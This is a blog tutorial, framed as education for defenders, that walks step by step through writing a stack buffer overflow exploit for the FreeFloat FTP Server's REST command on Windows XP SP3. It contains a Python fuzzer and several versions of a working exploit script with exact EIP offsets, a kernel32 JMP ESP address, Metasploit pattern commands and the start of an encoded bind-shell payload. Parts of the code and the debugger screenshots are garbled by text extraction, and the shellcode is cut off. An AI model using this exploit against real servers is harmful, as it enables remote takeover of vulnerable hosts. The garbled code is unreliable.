# **Proactive Defense**

Know your enemy.

## Sunday, May 19, 2013

## **Understanding Buffer Overflow Exploits**

The first time that I had to work with a buffer overflow exploit, I was completely out of my depth. Although I could build networks and configure firewalls, proxies, and intrusion detection systems without breaking a sweat, exploit coding was a whole new world to me. However, as with any complex or difficult concept, breaking it down into manageable pieces proved to be an effective strategy.

After conducting research and following tutorials, the concepts and tools started to become less confusing and the details began to stick. I then started looking for simple buffer overflow vulnerabilities in known applications that I could recreate in my lab. It is in a working lab that concepts begin to click and the process - in its individual parts as well as a whole - becomes visible.

This tutorial will provide defenders with a basic idea of the attackers' exploit development process, the level of effort required, and the challenges that attackers face when writing malicious code to target specific vulnerabilities.

Today's attackers are determined and skilled and an understanding of how they operate is key for anyone tasked with defending computers and networks. The more understanding the defender has of the enemies motives and techniques the easier it is to formulate effective countermeasures.

I will go through several phases of exploit development and arrive at a working exploit. First, we will fuzz our target application to make it crash in interesting ways, monitor the crashes with Immunity debugger, and find a vulnerable location in Windows memory to target with our shellcode. We will then create an exploit to deliver the shellcode and compromise the remote system.

# **Required Software / Setup**

Attacking system: Backtrack Linux (I used R3) Development / Victim system: Windows XP SP3 English

Immunity debugger - Installed on Windows XP system

FloatFTP - The application we are going to exploit - (Ignore the existing exploit on this page for now and click the "vulnerable app" button to download. Extract the file to a folder on the desktop of the XP system.)

Let's get started.

## Fuzzing

"Fuzzing" is a software testing practice in which malformed, excessive and random data is send to a computer program in attempts to make it crash or behave in unintended ways. Fuzzing is used test security of programs and systems.

Double click the float FTP executable to start the application:

<b>Win32</b> File Edit View Favorites Tools Help	×
🚱 Back 🔹 🕥 🗸 🏂 🔎 Search 🎼 Folders 🛛 🕼 🎲 🗙 🍤 💷 -	
Address 🗁 C:\Documents and Settings\Administrator\Desktop\floatftp\Win32	💌 🔁 Go
FTPServer.exe IP: 10.10.10.32 FreeFloat FTP Server Start Port No 21 Unload	
🐉 Start 🚳 Immunity Debugger 📄 Win32 🕴 두 🗞 🕼	🛛 🗐 12:43 AN

Verify that it's running and listening on port 21 by opening a cmd prompt and typing:

## About Me

#### ProactiveDefender



I am an Information Security researcher and consultant. Information Security has

been my professional focus and passion for the past 15 years. I work as the Director of Information Security for an internet retailer where I help to manage a security program and infrastructure.

#### View my complete profile





Subscribe To		
<ul><li>Posts</li><li>Comments</li></ul>	W W	
Links		

### Microsoft Security Response Center

Offensive Security

SANS Incident desk

C:\Documents and Settings\Administrator>netstat —an | find "21" TCP 0.0.0.0:21 0.0.0.0:0 LISTENING C:\Documents and Settings\Administrator>\_

Start Immunity debugger and click "file", then "attach." Select the FTPServer process and click "attach."



Once the application loads up in the debugger, it will be in a paused state. Press F9 or click the play symbol on the Immunity tool bar to let the application run. The target application is now being monitored by the debugger.

ጳ Immunity Debugge	r - FTPServer.ex	ke - [CPU - threa	d 0000	022С, п	nodule	e ntdli						
C File View Debug	Plugins ImmLib	Options Window	Help	Jobs							_ 5	1>
🔾 >> 🔝 🗉 🌾 🔾	▶ II ₩ 4	\$  ↓  →  →	l e	m t	w h	ιс	p k	b	z	r	s ?	
70901231 C3 70901232 SBFF 70901235 96 70901235 96 70901235 96 70901235 96 70901237 96 70901238 96 70901238 96 70901238 96 70901238 96 70901238 96 70901248 96	RETH NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP	DI PTR SS	Registe	rs (MMX						<	< <	
Address         Hex         dump           0343-0400         00         00         00         00           0343-0400         00         00         00         00         00           0343-0400         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         <	ASI           00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00         00<	CHI 			FFCC FFD0 FFD08 FFD08 FFD08 FFD08 FFF08 FFF08 FFF08 FFF08 FFF68 FFF68 FFF68 FFF68 FFF60 FFF68 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FFF60 FF							
Show run trace									_	Runni	ng	_

We will now begin the process of configuring our FTP fuzzer, first fuzzing the application to make it crash and then capturing and analyzing the crash data with the debugger.

The code posted below is a simple fuzzer for FTP written in the Python scripting language. When executed, the fuzzer will send the standard FTP command "REST" with increasing amounts of "A"s appended to each command.

#!/usr/bin/python import socket
<pre># Create an array of buffers, from 20 to 2000, with increments of 20. buffer=["A"] counter=20 while len(buffer) &lt;= 30:</pre>
buffer.append("A"*counter) counter=counter+100
<pre># Define the FTP commands to be fuzzed commands=["REST"]</pre>
# Run the fuzzing loop
for command in commands:
for string in buffer:
print "Fuzzing" + command + " with length:" +str(len(string))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('10.10.32',21))
s.recv(1024)
s.send('USER ftp\r\n') # login user
S.FECV(1024)
s recu(1024)
$s = command + (' + string + (' \n') # buffer$
s.recv(1024)
s.send('QUIT\r\n')

#### s.close()

We can see from the example exploit (http://www.exploit-db.com/exploits/17546/) that the FTP server REST command is vulnerable to a buffer overflow. The FTP function REST will be the target of the fuzzer.

Create a folder on the desktop of the attacking system to store the fuzzing and exploit code. "cd" to this directory and run "nano fuzzer.py". This will open the nano text editor on a blank page. Copy and paste the code above into the file.



Modify the target IP address with the IP address of the system where the FloatFTP process is running. Press ctrl+o to save the file and ctrl+x to exit nano. Next, make the file executable by typing:

chmod 755 fuzzer.py

Execute "./fuzzer.py". After a few seconds you should see the fuzzer stop indicating that the target application has crashed.

root@bt:~/Desktop	/floatftp#	./fuzzer.pv	
FuzzingREST with	length:1		
FuzzingREST with	length:20		
FuzzingREST with	length:120		
FuzzingREST with	length: 220		
FuzzingREST with	length: 320		

When you look at the debugger on the XP system, you will see that Immunity has captured the crash data and paused the application. If you look at the EIP (Extended Instruction Pointer) register, you will see that the 41s from the fuzzer's buffer have overwritten the register and have also spilled into the ESP (Extended Stack Pointer) register (00AEFC2C). Our first object is to gain control of the EIP register, which controls which code is executed by the CPU, setting it to a value of our choosing.

C File View Debug Plugins ImmLib Options Windo	ow Help Jobs	X
	lemtwhcPkbzrs? Code	auditor and
	ERX 00000400 ECX 0014CB00 EDX 7090444 ntdll.KiFastSystemCallRet	
	EBX 0000001A ESP 00AEFC2C ASCII "AARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA	IRAARAAAAAA
	ESI 0040029E FTPServe.0040029E EDI 0040029E FTPServe.0040029E EDI 0040029E FTPServe.0040029E EIP 41414141	RAARAAAAAA
	C 0 ES 0023 32bit 0(FFFFFFF) P 0 CS 001B 32bit 0(FFFFFFF) A 0 SS 0023 32bit 0(FFFFFFF)	
	2 0 DS 0023 32bit 0(FFFFFFF) 3 0 FS 0038 32bit 7FFDC000(FFF) T 0 GS 0000 NULL D 0	
	0 0 LastErr ERROR_SUCCESS (00000000) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)	
	ST0 empty 4.94559/1148/08/79000e-321 ST1 empty 0.000000000000000000000 ST2 empty 4.2439915819305446000e-314 ST3 empty 1.9427251549511168000e-318	
	514 empty 0.00000000000000000000000000000000000	
Address Hex dump ASCII	ST7 empty 1.25197751666951070008-312     S210 F 520 F 5	-
034646686 80 80 80 80 80 80 80 80 80 80 80 80 80	00REFC38 41414141 RARA 00REFC38 41414141 RARA 00REFC38 41414141 RARA	
094496828 98 98 98 98 98 97 65 40 98	00REFC30 41414141 ANAA 00REFC40 4141414 ANAA 00REFC44 4141414 ANAA 00REFC43 4141414 ANAA	
00484040 80 80 80 80 80 82 80 86 80 87.5.R.V. 0048404048 80 80 83 80 45 80 52 80 P.S.E.R. 0048404050 56 80 80 80 80 90 80 90 90 V. I.P.	00REFCAC 41414141 RAAR 00REFCSB 4141414 RAAR 00REFCSB 4141414 RAAR 00REFCSB 4141414 RAAR	
09408055 34 00 20 00 25 00 53 002.5. 09408056 00 00 00 00 00 C R0 40 00	000HEFC58 4141414 ANAM 000HEFC5C 4141441 ANAM 000HEFC60 4141414 ANAM 000HEFC64 4141414 ANAM	
094904078 04 48 48 00 CC 48 48 00 - 20 48 48 48 48 084904078 04 48 00 BC 48 48 00 BC 48 48 00 - 36 4 89490488 94 49 49 00 RC 80 49 00 56 43 48 56 - 36 -	00REFC68 414141 AAAA 00REFC6C 41414141 AAAA 00REFC70 4141414 AAAA	
0040A090 94 A0 40 00 44 00 65 00 040.D.e.	▼ 00HEEC74 414141 HHHH	*
[19:08:09] Access violation when exec	cuting [41414141] - use Shift+F7/F Pause	⊧d
[19:08:09] Access violation when exec      ploit Development      :e a new file with nano and enter the code below     ton.py and make it executable (chmod 755 ske	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
[19:08:09] Access violation when exec      ploit Development      te a new file with nano and enter the code below     ton.py and make it executable (chmod 755 ske	w. This will be the beginning of our exploit. Save the file eleton.py).	e <b>d</b>
In the solution of the soluti	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
[19:08:09] Access violation when exec ploit Development te a new file with nano and enter the code below ston.py and make it executable (chmod 755 ske usr/bin/python prt socket socket.socket (socket AF INET, socket S	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
In the second s	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
[19:08:09] Access violation when exec ploit Development te a new file with nano and enter the code below eton.py and make it executable (chmod 755 ske usr/bin/python ort socket socket.socket (socket.AF_INET, socket.S fer = '\x41' * 1000 nt "\nSending evil buffer"	w. This will be the beginning of our exploit. Save the file eleton.py).	9 as
<pre>[19:08:09] Access violation when exec ploit Development te a new file with nano and enter the code below iton.py and make it executable (chmod 755 ske usr/bin/python ort socket socket.socket(socket.AF_INET, socket.S fer = '\x41' * 1000 nt "\nSending evil buffer" onnect(('10.10.10.32',21))</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
<pre>Interpretation content in the interpretation in the interpretation in the interpretation interpretation in the interpretation interpretation interpretation interpretation interpretation into interpretation interpretation into interpretation interpretation into interpretation into interpretation interpretation</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
<pre>[19:08:09] Access violation when exec ploit Development te a new file with nano and enter the code below iton.py and make it executable (chmod 755 ske usr/bin/python ort socket socket.socket(socket.AF_INET, socket.Sfer = '\x41' * 1000 nt "\nSending evil buffer" onnect(('10.10.10.32',21)) a = s.recv(1024) end('USER ftp' +'\r\n')</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
<pre>Interpretation content in the interpretation in the interpretation int interpretation inter</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
<pre>Interpretation content in the interpretation in the interpretation in the interpretation int interpretation into interpretation interpretation interpretation into interpretation in</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
<pre>Interpretation when exect Interpretation when exect Interpretation when exect Interpretation when exect Interpretation interpretation interpretation Interpretation interpretation interpretation interpretation Interpretation interpretation interpretation interpretation Interpretation interpretation interpretation interpretation Interpretation interpretation in</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as
<pre>Interpretation when exect control in the exect control in the executable (characterized control in the executable</pre>	w. This will be the beginning of our exploit. Save the file eleton.py).	e as

Run ./skeleton.py in the Linux terminal on the attacking system.

Now when you examine the EIP register in Immunity you will see that the buffer code has overwritten the register with 41414141 and well as spilled into the ESP register.



The next step is to determine exactly how much space we have to insert code. Up until now, we have used a fixed set of repeating characters to determine our target memory address. We will now use the Metasploit pattern_create and pattern_offset tools to help us discover exactly how much space we have and what specific memory addresses to target. First, generate a non-repeating string with 1000 characters.
cd to /opt/metasploit/msf3/tools and run:
./pattern_create.rb 1000
Create a 1000 character string which will replace the previous 1000 character "A" buffer in the skeleton exploit.
rootgbt:/opt/metasploit/msi3/tools# ./pattern_create.rb 1000 ka0&alas2x33x4&a5x6&a7x8&asx8&a5x6&a7x8&a5x8&a5x8&a5x8&a5x8&a5x8&a5x8&a5x8&a5
Comment out the previous buffer in the exploit and create a new buffer line as below. Enclose the new buffer in double quotes.
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #buffer = '\x41' * 1000 buffer = "Paste pattern_create buffer here"
print "\nSending evil buffer"
s.connect(('10.10.10.32',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
s.send('REST' +buffer+'\r\n')

s.close()

Restart the FTP server in Immunity debugger (click debug, then restart or press Ctrl+F2) and launch the skeleton exploit against the FTP server. It should crash as it did previously, but will now have the Metasploit created pattern in its EIP and ESP buffers. Copy these values down; we will use them to calculate the byte difference between the EIP and ESP registers.

In my case, the EIP and ESP values are:

EIP: 69413269 ESP: 00AEFC2C (69413669)

🤻 Immunity Debugger - FTPServer.exe - [CPU - thread	1 0000	001A	C]											_1	×
C File View Debug Plugins ImmLib Options Window	Help	Job	s												PX
> 3 ■ K + × ▶ Ⅱ ▶ + 2 ↓ + +	l e	m	t w	h	c P	k	b	z	r		s	?	Pytho	on Deve	eloper
	REAX X EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE	sters 800804 80014C 7C98E 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048 80048	(FPU) 440C 8800 8202 AS 42764 nt 4276 AT 2269 32 623 32 625 50 625 50 60	dill. CII PSer CII bit bit bit bit bit bit bit bit bit bit	K iFas "L6A L ve.80 "y2Ay 0(FFF 0(FFF 0(FFF 0(FFF 0(FFF 0(FFF 0(FFF 0(FFF 0(FFF 0) 0(FFF 0) 0(FFF 0) 0 0 0 0 0 0 0 0 0 0 0 0 0	tSyst 7913 4082 5757 5757 5757 5757 5757 5757 0000 5757 5456 5456 5456 5466 5466 5466 5466	: enC HI9A 9E Ay5A 7) 7) 7) 7) 7) 7) 7) 7) 7) 7) 7) 7) 7)	allF j8Rj j8Rj 2000 E,G) -321 -314 -318	Ret j1Aj j7Ay 20) 1	< 2Rj3 8Ry9	< 8AJ4 9Az0	1A.J5A.	( <	< 18A.J 9A 14Az 5A	< k8Ak1 26A27
Redress         Her dunp         11221           1000000000000000000000000000000000000		emptyy emptyy 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF 2004EF	-4.1826 -4.18251 1.251 200 6 200 8 200 8 2	00500 55580 55580 32 3413 3654 1396 1413 2664 13966 3413 2664 13163 2664 13163 2664 13163 2664 13566 2664 13966 2664 12966 2664 12966	496826 49682 16669 1687 7 4187 7 4181 11 1811 11	60644 51070 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 510 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071 51071500 510000000000	2000 2008 5 S	e+29 -312 -312	99 20 z		T				
Close program (Alt+F2)													Pause	d	

Next, run:			
./patter	n_offset.rb 69413269	 	 
Followed I	by:		
./patter	n_offset.rb 69413669	 	 

root@bt:/opt/metasploit/msf3/tools# ./pattern\_offset.rb 69413269
[\*] Exact match at offset 247
root@bt:/opt/metasploit/msf3/tools# ./pattern\_offset.rb 69413669
[\*].Exact match"at offset 259
root@bt:/opt/metasploit/msf3/tools#

The output tells us that after 247 bytes the EIP register begins to get overwritten with the buffer. This means that bytes 248-251 are EIP and the exact bytes we want to target.

The CPU knows which instruction to run next by looking at the value of the EIP register and executing the instruction present at that memory address. Placing a JMP ESP instruction at the EIP memory location will cause the CPU to execute that instruction and "jump" to the ESP register to execute whatever resides in memory at that address. Our next objective is to place a JMP ESP instruction in EIP which will enable us to control the execution flow and divert it to our code in the ESP register.

There are 12 bytes between the two registers, so we will pad our buffer with 8 bytes to bridge the gap and line up the ESP register.

We adjust the buffer in our skeleton exploit staying within our 1000 byte boundary:

buffer = "\x41"\*247 + "\x42\x42\x42\x42" + "\x43"\*8 + "\x44"\*741
eg: [buffer]<>[eip data]<>[padding]<>[shellcode placeholder]
#!/usr/bin/python
import socket

s = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

#buffer = x41 \* 1000
#buffer = "pattern\_create buffer"
buffer = "\x41"\*247 + "\x42\x42\x42\x42" + "\x43"\*8 + "\x44"\*741

print "\nSending evil buffer..."

s.connect(('10.10.10.32',21))

data = s.recv(1024)

s.send('USER ftp' +'\r\n')

data = s.recv(1024) s.send('PASS ftp' +'\r\n')

data = s.recv(1024)

s.send('REST' +buffer+'\r\n')

s.close()

Restart the FTP server in Immunity and press the play button to un-pause the application.

Run the exploit again, then right click ESP in the Registers pane of Immunity and select "follow in dump." If everything has lined up correctly, the EIP register will contain 42424242 and the Ds (x44) will begin at the ESP memory address directly preceded by the 8 Cs which pad the distance from EIP to ESP.



Excellent. In Immunity, copy the ESP memory address from where the Ds begin to where they end. Then open Windows calculator and switch to hexadecimal mode and convert each value to decimal.

In my case, this is:

Begins: 00AEFC2C = 11467820 Ends: 00AEFF0C = 11468556

Subtract the first value from the second 11468556 - 11467820 = 736. This tells us we have 736 bytes for our shellcode.

Now that we have our target memory addresses and instructions, we need a way to get our instructions from the EIP register to the ESP register. To do this we can use an existing JMP ESP instruction in a Windows operating system DLL.

To find a JMP ESP instruction in an existing Windows DLL - click "e" on the Immunity toolbar, then double click a DLL, right click search, select "command" and type "JMP ESP".

We find the instruction we are looking for in the Windows kernel32.dll system file and make note of the memory address of JMP ESP. In my case, this is 7C86467B. Note that this instruction will reside in a different location if you are using anything other than 32bit Windows XP English SP3. If you are, find a JMP ESP instruction in another DLL and substitute the memory address in the rest of the tutorial.

CPU - thread 000004Fi	I, module kernel32		
864678 FFE4	JPF ESP		
864670 4Z	INC EDI		
864682 58	POP ERX		
864688 15 88708085	ADC ERK, 85807080		
964680 30FE	CITY DR. DR	linknown command	
864680 58	PUSH_ERK		
024200 D085 ABFDFFFF		and a second	
364694 3308	Find command	×	
364696 58	Interest of		
164690 50	JMP ESP	¥	
364699 6A 01			
16469C 58	1. The second		
864690 58	Entre block	Find Cancel	
BEALSF EB SEDCESF			
864684 8985 9CFEFFFF	NUV UNLAU PIR SSILEBP-1641, ERX		
1646AH EB 15	NOP SHORT Rephel32.70864601		
9646AD 98	NOP		
1646HE 90 16460F 90	NIP		
64688 98	HOP		
64681 3308	NOR ERC, ERC		
64684 C3	HETH CAN		
64685 98	HOP		
64687 98	HOP		
64688 98	HOP.		
6468A 8065 E0	HOU ESP, DHORD PTR SS-CEEP-103		
6468D 8940 FC FF	OR DWORD PTR SSILEEP-41, FFFFFFFF		
646C7 FFEE SOFEFFF	PUSH DROAD PTR 55: (EBP-1201		
646CD 88FF	NOR ED1, ED1		
64609 8848 SB	THE FOX DWORD PTR DR+CFOX+981		
64608 FF70 18	PUSH DWORD PTR DGI (ERX+183		
164606 FF15 10100070	CHEL DWORD PTR DS: [Chatdl].Rt IFre	eHeap) ntdll.RtlFreeHeap	

Let's update our skeleton exploit with a new buffer. Comment out the last buffer statement and replace it with the code below.

1
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
1

Because of little endian CPU architecture, the JMP ESP address must be formatted backwards in the buffer, so 7C86467B becomes "\x7B\x46\x86\x7C". We will also add 8 Bs as padding ("\x43"\*8) and change the last value to \xCC\*741 (742 CC's) which will act as a place holder for our shellcode. All going well, the CCs should begin at the ESP memory address we are targeting, 00AEFC2C, and we should find our JMP ESP instruction (7C86467B) in the EIP register.

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = x41 * 1000 #buffer = "pattern_create buffer" #buffer = "\x41"*247 + "\x44\x44\x44\x44" + "\x43"*8 + "\x44"*741
# Windows XP SP3 kernel32.dll JMP ESP
buffer = "\x41"*247 + "\x7B\x46\x86\x7C" + "\x42"*8 + "\xCC"*741
print "\nSending evil buffer"
s.connect(('10.10.10.32',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS ftp' +'\r\n')
data = s.recv(1024)
s.send('REST' +buffer+'\r\n')
s.close()

Restart FTPserver.exe in Immunity by clicking "debug" then "restart". Don't forget to press F9 or to click the play button in the debugger to un-pause the application.

Click the arrow pointing to the three dots on the Immunity toolbar, enter JMP ESP memory location: 7C86467B (in this example), click "Ok" then press F2 to set a breakpoint in the debugger. When the JMP ESP address is accessed, the debugger will pause execution enabling us to review the registers and verify that we have targeted EIP and ESP correctly.

🔩 Immunity Debugger - FTPServer.exe - [CPU - main thread, module kernel32]	
C File View Debug Plugins ImmLib Options Window Help Jobs	
🗁 🚴 🗏 📢 🗙 🕨 📕 🐓 🐉 🕌 📲 👌 e m t w h c P	k b z r s ? Python Developer Wanted
TOB4470         FFE4         Image Space           TOB4470         SZZSF         15         10: EDI           TOB44670         SZZSF         50: EDI *	Constants (FEI)     C < <      Enc 000004C     Enc 000004C     Enc 000004C     Enc 0012FE0     Enc 0012FE0     Enc 0012FE10     Enc 0012FE10     Enc 0012FF10     Enc 0012FF     Enc 0012FF10     Enc 0012FF10     Enc 0012FF1
TCBASEAN BSC Carcel TCBASEAN BSC Carcel TCBASEAN BSC CARCELLAR TO	EIP 7C90E4F4 n.tdl.k.(FastSystemCallRet C @ ES 0003 320:0 (FFFFFFFF) F 1 C S 0018 320:0 (FFFFFFFF) F 0 S 0018 320:0 (FFFFFFFFF) S 0 F 3 0028 320:0 (FFFFFFFFF) S 0 F 3 0028 320:0 (FFFFFFFFF) F 0 S 000 MLL 0 0 LastErr EF005_SUCCESS (0000000) D LastErr EF005_SUCCESS (0000000) EFL 00000424 (M), He, Es, EN, SFE, ES, ELE)
TOB4440         EB         10         MIR         Merre 132,7C3646C1           TOB44400         50         MIR         Merre 132,7C3646C1           TOB44400         3000         MIR         Merre 10,7C3646C3           TOB44401         3000         MIR         MIR           TOB44401	ST0 encty 0.00000000000000000000000000000000000

Run the exploit again and review the output in the debugger. It should look similar to this:



Excellent. EIP contains our JMP ESP target address (7C86467B) and our CCs begin on ESP (00AEFC2C). Now that we control execution flow, all that remains is replacing our placeholder CCs with shellcode.

# Shellcode and exploit

We will use Metasploit msfpayload to create the shellcode payload. One thing to note: Since we are passing all this as a "string" we must abide by the character limitations of the FTP protocol. This means no null, return, newline, or @ characters. In hex they are represented by x00, x0d, x0a, 0x40. Other characters which could prevent the shellcode from executing are "x40xff(x3d)x20"

The msfpayload command below will create shellcode that when executed on the target system will open a port listening on TCP 999. The msfencode statement ensures there are no bad characters in the shellcode which could prevent it from executing.

This results in a 368 byte payload:	
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)	
buf =	
"\xba\x2e\x27\xc2\x55\xdb\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9" +	
"\xb1\x56\x31\x57\x13\x83\xef\xfc\x03\x57\x21\xc5\x37\xa9" +	
